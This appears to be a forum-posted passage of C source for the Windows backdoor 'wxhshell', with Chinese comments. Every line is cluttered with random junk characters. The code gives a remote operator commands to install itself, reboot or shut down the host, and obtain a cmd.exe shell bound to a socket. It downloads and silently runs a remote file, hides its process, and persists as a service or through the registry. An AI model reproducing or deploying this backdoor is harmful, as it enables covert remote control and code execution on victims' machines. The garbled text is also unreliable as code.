    switch(cmd[0]) { cV{%^0? D  
  5v)(8|.M  
  // 帮助 }ov&.,vQ  
  case '?': { :1q 4"tv|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q-ES6R  
    break; W,@ If}  
  } &5{xXWJK  
  // 安装 -tsDMji~V  
  case 'i': { ;!< Znw  
    if(Install()) e,_-Je  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $QEilf;E  
    else /%aiEhL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z+`{7G?4m  
    break; hd V1nS$  
    } tGdf/aTjy  
  // 卸载 ;< )~Y-  
  case 'r': { oY~ Dg  
    if(Uninstall()) Q zZ;Ob]'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z4$cyL'$P  
    else [ =x s4=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rv,JU6>i  
    break; Wjh/M&,  
    } E@05e  
  // 显示 wxhshell 所在路径 W>(/ bX  
  case 'p': { 8mLP5s!7  
    char svExeFile[MAX_PATH]; L\{IljA  
    strcpy(svExeFile,"\n\r"); Lj\/Ji_  
      strcat(svExeFile,ExeFile); ik|-L8  
        send(wsh,svExeFile,strlen(svExeFile),0); 7+TiyY]K  
    break; S_T^G` [  
    } Sw`RBN[ yo  
  // 重启 [+ *$\  
  case 'b': { /WV7gO&L1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >R{qESmP=  
    if(Boot(REBOOT)) 1 Q-bYJG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8l?piig#  
    else { ,6 !rR,0  
    closesocket(wsh); plu$h-$d  
    ExitThread(0); p47S^gW  
    } &bz:K8c  
    break; 1pv}]&X  
    } o~FRF0f*VP  
  // 关机 49Df?sx  
  case 'd': { MaBYk?TR~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6<,dRn  
    if(Boot(SHUTDOWN)) m]_FQWfet  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qQi.?<d2"s  
    else { thO ~=RB  
    closesocket(wsh); Ko&hj XHx  
    ExitThread(0); !}\4u tHY  
    } /<CSVJ_r  
    break; ?T_3n:  
    } E+"dqSI/v  
  // 获取shell ._wkj  
  case 's': { ]Fvm 7V  
    CmdShell(wsh); H_!4>G@  
    closesocket(wsh); <D&)OxEn\  
    ExitThread(0); to8X=80-3  
    break; JxLf?ad.  
  } TvNY:m6.%  
  // 退出 >3:?)  
  case 'x': { kpbm4t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fl Jp4-nx  
    CloseIt(wsh); YJs|c\eq?  
    break; IC{eE  
    } y~ G.V,0  
  // 离开 Zn,>]X  
  case 'q': { ,<<4*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p5O",3,A4  
    closesocket(wsh); bsxTqJ  
    WSACleanup(); #>Y'sd5'A  
    exit(1); vhvdKD  
    break; vQF vtwd  
        } 133I.XBU  
  } B .TB\j  
  } &bgvy'p  
P^MOx4  
  // 提示信息 G5dO 3lwq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q(5j(G ;  
} O=)  
  } H$ftGwS8  
[ rNXQ` /  
  return; wdzOFDA  
} k{tMzx]F__  
I9o6k?$K  
// shell模块句柄 bW#@OrsS  
int CmdShell(SOCKET sock) wiOgyMdx  
{ 4RKW  
STARTUPINFO si; PUQES(&  
ZeroMemory(&si,sizeof(si)); 4GG>!@|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C=uZ1xg*,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _4 6X%k  
PROCESS_INFORMATION ProcessInfo; 2;L|y._`w  
char cmdline[]="cmd"; !$A37j6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m`4R]L]  
  return 0; 5_0(D;Q  
} @ P@c.*}s  
%pu Lr'Y  
// 自身启动模式 #tt?!\8C  
int StartFromService(void) @4%L36k  
{ 53HU.  
typedef struct =k3!RW'  
{ %2'A pp  
  DWORD ExitStatus; S1n3(U:m  
  DWORD PebBaseAddress; j4FeSGa  
  DWORD AffinityMask; sDgXU@  
  DWORD BasePriority; pqvOJ#?Q}=  
  ULONG UniqueProcessId; gIR^ )m  
  ULONG InheritedFromUniqueProcessId; r _,_5 @0e  
}   PROCESS_BASIC_INFORMATION; MyJ4><oG  
z|G9,:9  
PROCNTQSIP NtQueryInformationProcess; OQ :dJe6  
oRN-xng  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %CZ-r"A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X u"R^  
)f+U~4G&  
  HANDLE             hProcess; k&#a\OJ7u  
  PROCESS_BASIC_INFORMATION pbi; s57N) 0kP  
sGY_{CZ:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k>}g\a,  
  if(NULL == hInst ) return 0; w.Ezg j  
M-NV_W&M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <1w/hy&mWN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [=uo1%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DfJ2PX}q  
d#:3be{|&q  
  if (!NtQueryInformationProcess) return 0; W$dn_9W  
v]2S`ffP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q,<[hBri-  
  if(!hProcess) return 0; _2fkb=2@  
0,*%vG?Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qP!eJ6[Nh"  
P ]N [y  
  CloseHandle(hProcess); Jxf~&!zR  
z^o1GY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;vhyhP.oM  
if(hProcess==NULL) return 0; A6<C-1 N}j  
0YH+B   
HMODULE hMod; {"*VU3%q  
char procName[255]; "`}~~.q  
unsigned long cbNeeded; p6EDQwlf  
+c:3o*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4A{|[}!  
nU+tM~C%a  
  CloseHandle(hProcess); g}&hl"j  
k.h`Cji@  
if(strstr(procName,"services")) return 1; // 以服务启动 W-RqN!snJ8  
mtic>  
  return 0; // 注册表启动 U5Erm6U:  
} Ot&:mT!2  
YF#H Sf7  
// 主模块 F0~k1TDw  
int StartWxhshell(LPSTR lpCmdLine) g1(Xg.  
{ JGiKBm;  
  SOCKET wsl; #Z=tJ  
BOOL val=TRUE; O9v_y+M+M  
  int port=0; Mr+@c)  
  struct sockaddr_in door; < V\Y@Ei+  
7RU}FE  
  if(wscfg.ws_autoins) Install(); ~:;3uL s,8  
5OM?3M  
port=atoi(lpCmdLine); MFJE6ei  
MgnM,95  
if(port<=0) port=wscfg.ws_port; 2.}R  
!=Y;h[J.p  
  WSADATA data; ~Y= @$!Uq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XA0 (f*  
0X..e$ '  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oC*ees g_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L^kp8o^$  
  door.sin_family = AF_INET; +5<k-0v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RKd  
  door.sin_port = htons(port); ydl jw  
4kp im  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?{o/I\\  
closesocket(wsl); [~5p>'  
return 1; maMHZ\ Q  
} {hSGv   
nR \'[~+  
  if(listen(wsl,2) == INVALID_SOCKET) { Q+|{Bs)6i1  
closesocket(wsl); k>4qkigjc  
return 1; OQ/<-+<w  
} XCB?ll*^  
  Wxhshell(wsl); r'/;O  
  WSACleanup(); OL59e %X  
ofc.zwH  
return 0; ,reJ(s  
~ <0Z>qr  
} h SqY$P  
{B$2"q/~  
// 以NT服务方式启动 :@ uIxa$[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n_[i0x7#  
{ .W\ve>;  
DWORD   status = 0; ,cTgR78'  
  DWORD   specificError = 0xfffffff; "yb WDWu  
}6RT,O g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8$P>wCK\l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .r|*Ch#;P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jX=lAs~6  
  serviceStatus.dwWin32ExitCode     = 0; @ $cUNvI  
  serviceStatus.dwServiceSpecificExitCode = 0; `cP <}^]  
  serviceStatus.dwCheckPoint       = 0; qcB){p+UQ  
  serviceStatus.dwWaitHint       = 0; ,a|@d} U  
hp!d/X=J_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iCG`3(xL  
  if (hServiceStatusHandle==0) return; =?@Q -(bp  
khd5 Cf[   
status = GetLastError(); 'aJgLws*w  
  if (status!=NO_ERROR) Lrz3   
{ UP1?5Q=H]Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cleOsj;S  
    serviceStatus.dwCheckPoint       = 0; .,2V5D-${  
    serviceStatus.dwWaitHint       = 0; HP2wtN{Zs  
    serviceStatus.dwWin32ExitCode     = status; F:FMeg  
    serviceStatus.dwServiceSpecificExitCode = specificError; b=##A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8@K^|xeQ  
    return; my^ak*N  
  } f*((;*n ;  
hAR? t5c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8 ,}ikOZ?  
  serviceStatus.dwCheckPoint       = 0; #~Q=h`9  
  serviceStatus.dwWaitHint       = 0; Bl.u=I:Y4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JV"NZvjN7d  
} IFNWS,:  
QezSJ io  
// 处理NT服务事件,比如:启动、停止 wJ"ev.A)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O??vm?eo  
{ ,krS-.  
switch(fdwControl) y%BX]~  
{ g#^|oYuH6  
case SERVICE_CONTROL_STOP: =Z0t :{  
  serviceStatus.dwWin32ExitCode = 0; /"AvOh*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j\)H  
  serviceStatus.dwCheckPoint   = 0; x/TGp?\g  
  serviceStatus.dwWaitHint     = 0; w8M2N]&:  
  { q|#MB7e/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _+QwREP  
  } ``4wX-y  
  return; 9/TY\?U  
case SERVICE_CONTROL_PAUSE: Eek9|i"p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2wpjU&8W!  
  break; 3P=w =~e  
case SERVICE_CONTROL_CONTINUE: ?T*";_o,B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6v z1*\:H~  
  break; -f>'RI95>  
case SERVICE_CONTROL_INTERROGATE: x !{   
  break; )^;DGzG  
}; D5A=,\uk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CMVS W6  
} \ElX~$fS  
TQ9'76INb  
// 标准应用程序主函数 3;/?q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u}jrfKd E  
{ "n?<2 wso  
8OAg~mQ15(  
// 获取操作系统版本 2_pz3<,\  
OsIsNt=GetOsVer(); =Sxol>?t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l8wF0|  
iB bbr,  
  // 从命令行安装 F,}s$v  
  if(strpbrk(lpCmdLine,"iI")) Install(); MV936  
xb^ Mo.\[  
  // 下载执行文件 y4F^|kS) [  
if(wscfg.ws_downexe) { aWvd`qA9r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :c4kBl%gJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?SX_gYe9  
} !IA KVQ  
~mH+DV3  
if(!OsIsNt) { B=zMYi  
// 如果时win9x,隐藏进程并且设置为注册表启动 $L{7%]7QC  
HideProc(); hZuYdV{'h  
StartWxhshell(lpCmdLine); \C/z%Hf7-  
} c4|so=  
else *T4ge|zUc  
  if(StartFromService()) \Hum}0[  
  // 以服务方式启动 JSjYC0e  
  StartServiceCtrlDispatcher(DispatchTable); |=3 *;}  
else 3?ba 1F0Nw  
  // 普通方式启动 D@hmO]5c  
  StartWxhshell(lpCmdLine); *Mi6  
`pYE[y+  
return 0; eTZ`q_LfI1  
}
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只看该作者 1 发表于: 2006-10-10
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